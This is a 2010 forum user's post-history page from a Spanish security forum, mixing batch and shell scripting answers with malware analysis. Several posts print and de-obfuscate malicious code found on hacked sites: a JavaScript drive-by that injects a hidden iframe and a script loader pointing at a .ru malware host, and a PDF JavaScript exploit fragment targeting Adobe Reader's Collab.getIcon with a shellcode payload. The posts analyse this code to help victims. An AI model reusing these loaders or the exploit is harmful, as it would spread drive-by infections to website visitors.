elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 2 3 [4] 5 6 7
31  Seguridad Informática / Seguridad / Re: Me hackearon y dejaron un regalo. ayuda! en: 15 Mayo 2010, 20:49 pm
He mirado un poco más la parte de la web. La página en cuestión solo se muestra si existe la cabecera Referer:, y contiene el siguiente script:

Código
  1. try{
  2.  
  3. F53981243 = document.referrer;
  4. Nsrd2unvt = '';
  5. Tfym92yesygh = 'ES';
  6. function Cr8z7f2tf8(V8vurp6x9cfrz){
  7.  if (F53981243.indexOf(V8vurp6x9cfrz) != -1){
  8.    Nsrd2unvt=V8vurp6x9cfrz;
  9.   }
  10. }
  11. Cr8z7f2tf8('g*o7o]gXl*e7.Xr6u*'.replace(/[\*67X\]]/g, ''));
  12. Cr8z7f2tf8('m2aDi#l2.2rDu2'.replace(/[2D#\|X]/g, ''));
  13. Cr8z7f2tf8('y{ain)d{e)xT.CriuT'.replace(/[T\{C\)i]/g, ''));
  14. Cr8z7f2tf8('rpaBmpb~lBepro.prou('.replace(/[\(~pBo]/g, ''));
  15.  
  16. if (Nsrd2unvt && Tfym92yesygh == 'RU'){
  17.    window.location= 'hPtPtxpx:~/P/AleiegAhAtA.Ak~aetPaelPo~g~-edPoeseuxgxaA.Ar~ue/A?~sPtPixde=P8A8x&ArAiPdx=~2e5x5~6x'.replace(/[x~ePA]/g, '');
  18. }else{
  19.    Athvzpwjthi8chwh = 'http://gothguilt.ru:8080/index.php?pid=1&home=1';
  20.    F7ipjzz32gtxvlp7amy = 24-(12*2);
  21.    var D6ouc495shy0 = document.createElement('div');
  22.    D6ouc495shy0.id = 'G6i85jq19fd';
  23.    document.body.appendChild(D6ouc495shy0);
  24.    Pygxn4t7yxe6p = 'F7ipjzz32gtxvlp7amy';
  25.    F15fy37lsuro9 = document.createElement('i$^f@&r((^a&@$!m)$e)$(&'.replace(/\)|\$|@|\^|#|&|\!|\(/ig, ''));
  26.    F15fy37lsuro9.src = Athvzpwjthi8chwh;
  27.    F15fy37lsuro9.height = F7ipjzz32gtxvlp7amy;
  28.    F15fy37lsuro9.width = F7ipjzz32gtxvlp7amy;
  29.    document.getElementById('G6i85jq19fd').appendChild(F15fy37lsuro9);
  30. }
  31. }catch(e){}
  32.  

Si lo limpiamos un poco, vemos que comprueba el Referrer, y en caso de que contenga 'RU' nos redireccionará a una página de rusas...xD
Sino crea un div y mete un iframe de 'http://gothguilt.ru:8080/index.php?pid=1&home=1'. Es el mismo malware que se usa en todas las páginas que he visto: la misma ofuscación, mismas comprobaciones, y al final solo dejan un iframe metido para ejecutar los comandos que quieran en la víctima que visite la página infectada...

Lo curioso es que me ha mostrado el script la primera vez, y ahora lo estoy tratando de recuperar y no puedo.

En cualquier caso la moraleja es clara: navega con proxy ruso, menos malware y más teta.
32  Programación / Scripting / Re: ayuda con scritp en linux o batch en: 15 Mayo 2010, 15:13 pm
Aquí he hecho algo en batch... =)

Código
  1. @echo off
  2. setlocal ENABLEDELAYEDEXPANSION
  3.  
  4. set /p file="Archivo: "
  5. set /a i=0
  6. set /a r=0
  7.  
  8. for /f "tokens=1,2,3" %%a in (!file!) do (
  9.   call :asig %%~b
  10.   for /l %%x in (1;1;!i!) do (      
  11.      call :comp %%x
  12.   )
  13.   if !r! EQU 0 echo %%a %%b %%c
  14.   set /a r=0
  15. )
  16. goto:eof
  17.  
  18. :asig
  19. set /a i+=1
  20. set array%i%=%1
  21. goto:eof
  22.  
  23. :comp
  24. if not %1 EQU %i% (
  25.   if !array% style="color: #448888;">1! EQU !array% style="color: #448888;">i%! set /a r=1
  26. )
  27. goto:eof

Seguro que es mejorable, pero funciona...
33  Foros Generales / Foro Libre / Re: Piropea a Bianc4 en: 15 Mayo 2010, 11:51 am
Código:
echo 8====D | bianc4
34  Seguridad Informática / Seguridad / Re: ¿Alguien sabe que hace este código? en: 15 Mayo 2010, 10:28 am
Código desofuscado:

Código
  1. s = String(" 10! 118! 97! 114! 32! 97! 114! 114! 121! 32! 61! 32! 110! 101! 119! 32! 65! 114! 114! 97! 121! 40! 41! 59! 10! 102! 117! 110! 99! 116! 105! 111! 110! 32! 102! 105! 120! 95! 105! 116! 40! 121! 97! 114! 115! 112! 44! 32! 108! 101! 110! 114! 110! 32! 121! 97! 114! 115! 112! 59! 32! 10! 125! 10! 118! 97! 114! 32! 118! 101! 114! 115! 105! 111! 110! 32! 61! 32! 97! 112! 112! 46! 118! 105! 101! 119! 101! 114! 86! 101! 114! 115! 105! 111! 110! 59! 10! 105! 102! 32! 40! 118! 101! 114! 115! 105! 111! 110! 32! 62! 32! 56! 41! 32! 10! 123! 10! 118! 97! 114! 32! 112! 97! 121! 108! 111! 97! 100! 32! 61! 32! 117! 110! 101! 115! 99! 97! 112! 101! 40! 34! 37! 117! 65! 49! 54! 52! 37! 117! 48! 48! 49! 56! 37! 117! 48! 48! 48! 48! 37! 117! 52! 48! 56! 66! 37! 117! 56! 66! 51! 48! 37! 117! 53! 52! 52! 10! 32! 97! 112! 112! 46! 100! 111! 99! 46! 67! 111! 108! 108! 97! 98! 46! 103! 101! 116! 73! 99! 111! 110! 40! 116! 85! 77! 104! 78! 98! 71! 119! 41! 59! 10! 125! 10! 125! 10").split("! ");
  2. p = '';
  3.  
  4. for(i=0;i<s.length;i++){
  5. p+=String.fromCharCode(s[i]);
  6. }

Al ejecutarlo nos da un 'eval(p)', siendo 'p':

Código
  1. var arry = new Array();
  2. function fix_it(yarsp, lenrn yarsp;
  3. }
  4. var version = app.viewerVersion;
  5. if (version > 8)
  6. {
  7. var payload = unescape("%uA164%u0018%u0000%u408B%u8B30%u544
  8. app.doc.Collab.getIcon(tUMhNbGw);
  9. }
  10. }
  11.  

Y no puedo decir mucho menos... :S
35  Seguridad Informática / Seguridad / Re: Me hackearon y dejaron un regalo. ayuda! en: 15 Mayo 2010, 01:46 am
Código
  1. function G(){
  2. _l=document.createElement("script");
  3. _l["defer"]="1";
  4. _l.src="http://gothguilt.ru:8080/reverso-net/google.com/comcast.net.php";
  5. document.body["appendChild"](_l);
  6. };

Ese es el script desofuscado...
36  Programación / Scripting / Re: contar caracteres en: 13 Mayo 2010, 21:29 pm
Código
  1. num_carac=`echo $1 | wc -c`

Ten en cuenta que te contará el salto de linea, así que resta uno.
37  Seguridad Informática / Nivel Web / Re: Ver datos ocultos web en: 13 Mayo 2010, 21:25 pm
Dale!
38  Programación / Scripting / Re: Modificar archivos de texto en: 11 Mayo 2010, 22:18 pm
Ya lo he modificado y he añadido el bucle que recorre el directorio:

Código
  1. @echo off
  2. setlocal enabledelayedexpansion
  3.  
  4. :main
  5. set /p "dir=Directorio: "
  6. for /f %%x in ('dir /b %dir%') do (call :fichero !dir! %% style="color: #448888;">x)
  7. goto:eof
  8.  
  9. :fichero
  10. set "file=%1\%2"
  11. for /f "tokens=*" %%_ in (%file%) do (
  12.   ((echo %%_ | find "puerta" > nul) || (echo %%_ | find "frente" > nul)) && (call :linea "%%_") || (echo %%_ >> tmp.txt)
  13. )
  14. copy tmp.txt !file! > nul
  15. echo  !file! hecho
  16. del tmp.txt
  17. goto:eof
  18.  
  19. :linea
  20. for /f "delims=; tokens=1-6*" %%a in (%1) do (
  21.   set "num=%%f" & set "num=!num:~0,-1!"
  22.   set /a num-=1
  23.   echo %%a;%%b;%%c;%%d;%%e;!num!.;%%g; >> tmp.txt
  24. )
  25. goto:eof

Al final he copiado el "num=!num:~0,-1!" de Leo, en lugar de "num=!num:.=!". Aunque funciona igual...
39  Foros Generales / Foro Libre / Re: Que le preguntarías a un extraterrestre? en: 10 Mayo 2010, 23:05 pm
Yo le pediría su twitter...
40  Programación / Programación C/C++ / Re: Arboles binarios en: 9 Mayo 2010, 11:37 am
Pues me acabo de levantar, pero de situaciones reales representables gráficamente con un árbol binario... Se me ocurre:

 - Eliminatorias torneo CoreWar (o cualquier competición)

Y ya por el momento nadas más...xD Además, para el árbol genealógico necesitarías un arbol n-ario.

Y por si acaso, te comento. Hay que pensar en un árbol binario (AVL) como una estructura de datos que nos permite realizar búsquedas con un coste logarítmico. La representación real de los datos no tiene que estar relacionado con como la tratemos nosotros... Podrías hacer, por ejemplo, una agenda de contactos dinámica y utilizar un AVL para hacerla más eficiente que una simple lista enlazada.

Un saludo.

Páginas: 1 2 3 [4] 5 6 7
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines